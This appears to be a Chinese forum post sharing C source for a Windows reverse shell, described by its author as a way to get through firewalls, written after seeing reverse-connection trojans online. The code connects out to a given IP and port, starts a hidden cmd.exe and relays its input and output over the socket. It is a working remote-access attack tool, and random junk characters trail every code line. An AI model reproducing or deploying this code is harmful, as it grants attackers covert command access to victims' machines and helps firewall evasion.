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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]|B_3* A  
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/* ============================== qDjH^f  
Rebound port in Windows NT -hZw.eChQa  
By wind,2006/7 ]t_ Wl1*|  
===============================*/ Y|-:z@n6C  
#include |uM(A~?  
#include Fuo.8  
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#pragma comment(lib,"wsock32.lib") OwLJS5r@<-  
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void OutputShell(); C0H@  
SOCKET sClient; WM GiV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j&`D{z-c~  
mJME1#j$/|  
void main(int argc,char **argv) 7}vx]p2  
{ ;tfGhHpQn  
WSADATA stWsaData; @Zfg]L{Lr  
int nRet; d@{#F"o  
SOCKADDR_IN stSaiClient,stSaiServer; ]NY^0SqM  
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if(argc != 3) /n3SE0Y  
{ P7;q^jlB  
printf("Useage:\n\rRebound DestIP DestPort\n"); BJnysQ  
return; t[\6/`YH  
} 9&1$\ZH  
PH=O>a`a_O  
WSAStartup(MAKEWORD(2,2),&stWsaData); oX?~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j/hm)*\io  
1c:/c|shQ_  
stSaiClient.sin_family = AF_INET; /B5rWJ2AS  
stSaiClient.sin_port = htons(0); 2o~UA\:+=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e(jD[q  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ob|v$C  
{ 9zaSA,}  
printf("Bind Socket Failed!\n"); 7lG,.W|  
return; z<8WN[fB  
} 6V-JyTcxGI  
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stSaiServer.sin_family = AF_INET; 3+V.9TL'a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UZu.B!4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .wkW<F7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vJuL+'[i  
{  T_<:  
printf("Connect Error!"); p?x]|`M  
return; %6TS_IpJ  
} #Z}YQ $g  
OutputShell(); x6 h53R  
} Gvc/o$_  
b`|,rfq^AZ  
void OutputShell() m<|fdS'@  
{ `6o5[2V  
char szBuff[1024]; R5fZ }C7  
SECURITY_ATTRIBUTES stSecurityAttributes; sb</-']a  
OSVERSIONINFO stOsversionInfo; Fc a_(jw  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |7b@w;q,D  
STARTUPINFO stStartupInfo; OdtS5:L  
char *szShell; l!%V&HJV  
PROCESS_INFORMATION stProcessInformation; b R9iqRbn  
unsigned long lBytesRead; {\ogw0X  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]!cLFXa  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @|@6pXR.  
stSecurityAttributes.lpSecurityDescriptor = 0; -p f9Wk  
stSecurityAttributes.bInheritHandle = TRUE; x.>[A^  
5h p)Z7  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u{|^5%)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QVWUm!  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X/23 /_~L`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &5 R-bYGW  
stStartupInfo.wShowWindow = SW_HIDE; y_{v&AGmgm  
stStartupInfo.hStdInput = hReadPipe; &(~"OD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3 /LW6W|  
6?= ^8  
GetVersionEx(&stOsversionInfo); t flUy\H>  
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switch(stOsversionInfo.dwPlatformId) 49dN~k=  
{ It5n;,n  
case 1: zc!q a"4yM  
szShell = "command.com"; yz_xWx#9  
break; ^c:I]_Ww  
default: P.O/ZW>g  
szShell = "cmd.exe"; 0]l9x}  
break; BDPF>lPf<  
} vPx#TXY=b}  
;f2<vp;U  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CV *  
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send(sClient,szMsg,77,0); $ZnVs@:S  
while(1) G/V0Yn""  
{ /4,U@s)"/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n$ZxN"q <  
if(lBytesRead) Xh`Oin}<  
{ :A`jRe.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =}[m_rp&  
send(sClient,szBuff,lBytesRead,0); wO"ezQ  
} =+VI{~.|}  
else #,rP1#?  
{ K=!?gd!Vw  
lBytesRead=recv(sClient,szBuff,1024,0); !&Us^Q^  
if(lBytesRead<=0) break; \D}$foHg  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4 zipgw  
} s7:w>,v/  
} ]VK9d;0D  
xO;Qr.3PX  
return;  fG|+ !  
}
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